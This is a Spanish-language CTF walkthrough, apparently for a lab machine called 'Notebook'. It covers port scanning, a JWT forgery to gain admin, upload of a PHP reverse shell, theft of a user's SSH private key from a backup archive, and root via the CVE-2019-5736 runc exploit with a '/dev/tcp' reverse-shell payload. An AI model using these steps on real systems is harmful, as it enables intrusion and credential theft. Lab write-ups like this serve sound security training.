nmap -A -p- -oA notebook 10.129.183.202 --min-rate=10000 --script=vuln --script-timeout=15 -v

nmap -sC -sV -O -p- -oA notebook 10.129.183.202

nmap -sU -O -p- -oA notebook-udp 10.129.183.202

nikto -h 10.129.183.202:80

gobuster dir -k -u http://10.129.183.202/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100

Nos metemos a la pagina web http://10.129.183.202

Le damos click en register y nos registramos

Le damos click a Add new notes

Con el inspector de dev tools vamos a Application-> Cookies y vemos el valor que esta en auth

Creamos una llave con los siguientes comandos:

openssl genrsa -out privKey.key 2048

xclip -sel c < privKey.key

Vamos a la pagina https://jwt.io/ y le damos click a debugger. Copiamos lo que habiamos encontrado en auth y lo ponemos en donded dice Encoded.

Esta es la primera parte del Token.

Vamos a https://jwt.io/ y cambiamos localhost a la ip de Kali

Esta es la segunda parte del Token.

Vamos a https://jwt.io/ y cambiamos 0 por 1 para admin_cap

Copiamos todo lo que se encuentra en encoded

Y lo metemos de nuevo en auth en Cookies

Le damos click en upload

locate php-reverse-shell.php

cp /usr/share/webshell/php/php-reverse-shell.php .

Cambiamos la ip y el puerto a la ip de kali y cualquier puerto en este vamos a usar 5555

nc -lvnp 5555

Subimos el archivo

Le damos click a View

python3 -c 'import pty; pty.spawn("/bin/bash")'

mkdir -p /tmp/backups

cd /var/backups

tar -zxvf home.tar.gz -C /tmp/backups

cat /tmp/backups/home/noah/.ssh/id_rsa

Copiamos el resultado y creamos un archivo en kali llamado id_rsa

sudo -l

Vemos que corriendo docker no se necesita una contrasena. Para esto siempre es bueno GTFObins

https://www.exploit-db.com/exploits/46369

Buscamos en exploit.db si tienen un exploit para docker. Y vemos que tienen una para la version que tenemos.

CVE-2019-5736 poc en google

https://github.com/Frichetten/CVE-2019-5736-PoC

Bajamos y modificamos el archivo main.go

Cambiamos el payload para que diga lo siguiente:

'#!/bin/bash \n bash -i >&/dev/tcp/10.10.xx.xx/1234 0>&1'

Guardamos estos cambios en el archivo llamado main.go

go build main.go

nc -lvnp 1234

python3 -m http.server 80

	sudo docker exec -it webapp-dev01 bash

wget http://10.10.xx.xx/main

.\main

sudo /usr/bin/docker exec -it webapp-dev01 /bin/sh

nc -lvnp 1234